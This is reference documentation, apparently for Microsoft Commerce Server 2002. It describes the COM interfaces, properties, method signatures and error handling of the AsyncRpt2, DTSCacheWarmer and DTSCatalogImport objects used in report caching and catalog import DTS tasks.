[C++] The bstrRepParam parameter is identical to the sParamString parameter of the Init method of the ReportRender2 object. For more information, see ReportRender Object.

[Visual Basic] The bstrRepParam parameter is identical to the sParamString parameter of the Init method of the ReportRender2 object. For more information, see ReportRender Object.

See Also

[C++] AsyncRpt2 Object

[Visual Basic] AsyncRpt2 Object


IAsyncRpt2 Properties [C++]

AsyncRpt2 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
BizdeskDocPath | BSTR | Stores the URL to the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | long | Stores the locale in which the report should appear. This property is write-only.
[Visual Basic]
Property | Type | Description
BizDeskDocPath | String | Stores the URL to the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.


IAsyncRpt2::get_BizDeskDocPath, put_BizDeskDocPath Property[C++]

AsyncRpt2.BizDeskDocPath Property[Visual Basic]

The BizDeskDocPath property is a write-only string containing the URL to the default ASP page in the directory containing the report help files.

Definition

[C++]

Put method:

HRESULT IAsyncRpt::put_BizDeskDocPath(
 BSTR rhs
);
[Visual Basic]
Property BizDeskDocPath As String

Parameters

rhs [C++]
[in, optional] String containing the URL to the new default ASP page.
[out, retval] String returning the URL to the current default ASP page.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.


IAsyncRpt2::get_ReportLocale, put_ReportLocale Property [C++]

AsyncRpt2.ReportLocale Property [Visual Basic]

The ReportLocale property is a write-only long that identifies the locale of the report.

Definition

[C++]

Get method:

HRESULT IAsyncRpt::get_ReportLocale(
 long ReportLocale
);

Put method:

HRESULT IAsyncRpt::put_ReportLocale(
 long ReportLocale
);
[Visual Basic]
Property ReportLocale As Long

Parameters

Description [C++]
[in] Long integer containing the locale code to which you wish to set the report locale.

[out, retval] Long integer containing the current locale code of the report.

None. [Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Example

objReport.ReportLocale = Application("MSCSDefaultLocale")


DTSCacheWarmer Object [C++]

DTSCacheWarmer Object [Visual Basic]

Use this object to pre-execute dynamic OLAP reports stored in the Data Warehouse in order for the query results to be cached on the OLAP server. When this is done, subsequent execution of the reports can be twice as fast as the original report execution.

Run this object from within the context of a Data Transformation Services (DTS) package. Do not access the methods and properties directly. For more information about scripting the Report Caching DTS task, see Scripting the Report Caching DTS Task.

ProgID: | Commerce.DTSCacheWarmer (Externally creatable)
COM Class Name: | DTSCacheWarmer
Type Library Name: | Microsoft Commerce 2002 OLAP Cache Warmer DTS Task Type Library
DLL Name: | CSDWDTSCacheWarm.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSCacheWarmer
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write-only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
TaskName | BSTR | The descriptive name of the task associated with the package. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write-only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
TaskName | String | The descriptive name of the task associated with the package. This property is read/write.

Remarks

The Report Caching DTS task ignores errors that occur while running reports. For errors encountered during task execution that are not related to running reports, the task immediately stops processing and returns the error code through the Visual Basic error throwing mechanisms to the CustomTask_Execute error handler. The handler uses the IsRetryableError method to determine if the error code indicates a retry, for example, server unavailable, or if the error is a fatal error condition. The handler determines the error condition by checking the value of the RetryableErrors field in the registery key REG_MULTI_SZ under HKLM\SOFTWARE\MICROSOFT\Commerce Server\OLAPCacheWarmer. If the HRESULT for the error is in the list below, the error is considered retryable. Otherwise, the error is considered fatal. If the RetryableErrors value does not exist, the Report Caching DTS task creates it and populates it with a set of default HRESULT error values.

The following table lists the retryable HRESULT error values initialized in the registry key.

HRESULT | Description
2147221457 | DSO cannot locate NT server.
2147221455 | DSO cannot connect to Analysis Services.
2147221468 | DSO analysis object locked.
2147467259 | dbnetlib cannot connect to SQL Server.
2147221424 | DSO 2000 cannot connect to Analysis Services.
231XXXXXXX | DSO cannot connect to Analysis Datasource.

If the error is considered retryable, the DTS task logs a localized message in the Task History table that it is retrying due to error %X and re-initiates the task execution within the CustomTask_Execute method.

If the error is not considered retryable or the error is retryable but the task used the maximum number of retries, then the task logs a failure message in the Task History table, sets the global automation error object using the SetErrorInfo method, and returns DTSTaskExecResult_Failure from the CustomTask_Execute method.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSDeleteImport Object

[C++] DTSIPResolution Object

[C++] DTSLogImport Object

[C++] DTSMarketingImport Object

[C++] DTSPostImport Object

[C++] DTSPredictor Object

[C++] DTSSynchAdminData Object

[C++] DTSTransactionImport Object

[C++] DTSUPMCustomTask Object

[Visual Basic] DTSDeleteImport Object

[Visual Basic] DTSIPResolution Object

[Visual Basic] DTSLogImport Object

[Visual Basic] DTSMarketingImport Object

[Visual Basic] DTSPostImport Object

[Visual Basic] DTSPredictor Object

[Visual Basic] DTSSynchAdminData Object

[Visual Basic] DTSTransactionImport Object

[Visual Basic] DTSUPMCustomTask Object


_DTSCacheWarmer Methods [C++]

DTSCacheWarmer Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSCacheWarmer::CustomTask_Execute Method [C++]

DTSCacheWarmer.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCacheWarmer::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::PersistPropertyBag_Load Method [C++]

DTSCacheWarmer.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCacheWarmer::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::PersistPropertyBag_Save Method [C++]

DTSCacheWarmer.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCacheWarmer::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer Properties [C++]

DTSCacheWarmer Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
TaskName | BSTR | The descriptive name of the task associated with the package. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
TaskName | String | The descriptive name of the task associated with the package. This property is read/write.


_DTSCacheWarmer::get_NumRetries, put_NumRetries Property [C++]

DTSCacheWarmer.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts that are to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSCacheWarmer::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSCacheWarmer::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::get_RetryInterval, put_RetryInterval Property [C++]

DTSCacheWarmer.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry attempt.

Definition

[C++]

Get method:

HRESULT _DTSCacheWarmer::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSCacheWarmer::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out, retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::get_SourceType, put_SourceType Property [C++]

DTSCacheWarmer.SourceType Property [Visual Basic]

The SourceType property is a read/write enumeration that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSCacheWarmer::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSCacheWarmer::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::put_SourceName Property [C++]

DTSCacheWarmer.SourceName Property [Visual Basic]

The SourceName property is a write only String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]
HRESULT _DTSCacheWarmer::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName [C++]
[in] A BSTR that contains the name of the Web site or Data Warehouse.
[Visual Basic]None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[C++] DTSCacheWarmer::get_TaskName, set_TaskName

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceType

[Visual Basic] DTSCacheWarmer.TaskName


_DTSCacheWarmer::get_TaskName, put_TaskName Property [C++]

DTSCacheWarmer.TaskName Property [Visual Basic]

The TaskName property is a read/write String that specifies the descriptive name of the task associated with the package that this task is in.

Definition

[C++]

Get method:

HRESULT _DTSCacheWarmer::get_TaskName(
 BSTR TaskName
);

Put method:

HRESULT _DTSCacheWarmer::put_TaskName(
 BSTR TaskName
);
[Visual Basic]
Property TaskName() As String

Parameters

TaskName [C++]
[in] A BSTR that contains the name of the Web site or Data Warehouse.

[out] A BSTR that contains the name of the Web site or Data Warehouse.

[Visual Basic]None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

ETL Process for the Report Caching DTS Task

Scripting the Report Caching DTS Task

[C++] DTSCacheWarmer::CustomTask_Execute

[C++] DTSCacheWarmer::get_NumRetries, put_NumRetries

[C++] DTSCacheWarmer::PersistPropertyBag_Load

[C++] DTSCacheWarmer::PersistPropertyBag_Save

[C++] DTSCacheWarmer::get_RetryInterval, put_RetryInterval

[C++] DTSCacheWarmer::put_SourceName

[C++] DTSCacheWarmer::get_SourceType, put_SourceType

[Visual Basic] DTSCacheWarmer.CustomTask_Execute

[Visual Basic] DTSCacheWarmer.NumRetries

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Load

[Visual Basic] DTSCacheWarmer.PersistPropertyBag_Save

[Visual Basic] DTSCacheWarmer.RetryInterval

[Visual Basic] DTSCacheWarmer.SourceName

[Visual Basic] DTSCacheWarmer.SourceType


DTSCatalogImport Object [C++]

DTSCatalogImport Object [Visual Basic]

Use this object to import catalog data. Run this object from within the context of a Data Transformation Services (DTS) package. Do not access the methods and properties directly. For more information about scripting the Product catalog import DTS task, see Scripting the Product Catalog Import DTS Task.

ProgID: | Commerce.DTSCatalogImport (Externally creatable)
COM Class Name: | DTSCatalogImport
Type Library Name: | Microsoft Commerce 2002 Catalog Data Import DTS Task Type Library
DLL Name: | CSDWDTSCatalogImp.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSCatalogImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
Description | BSTR | Stores a description of the DTS task. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
Description | String | Stores a description of the DTS task. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSDeleteImport Object

[C++] DTSIPResolution Object

[C++] DTSLogImport Object

[C++] DTSMarketingImport Object

[C++] DTSPostImport Object

[C++] DTSPredictor Object

[C++] DTSSynchAdminData Object

[C++] DTSTransactionImport Object

[C++] DTSUPMCustomTask Object

[Visual Basic] DTSDeleteImport Object

[Visual Basic] DTSIPResolution Object

[Visual Basic] DTSLogImport Object

[Visual Basic] DTSMarketingImport Object

[Visual Basic] DTSPostImport Object

[Visual Basic] DTSPredictor Object

[Visual Basic] DTSSynchAdminData Object

[Visual Basic] DTSTransactionImport Object

[Visual Basic] DTSUPMCustomTask Object


_DTSCatalogImport Methods [C++]

DTSCatalogImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSCatalogImport::CustomTask_Execute Method [C++]

DTSCatalogImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

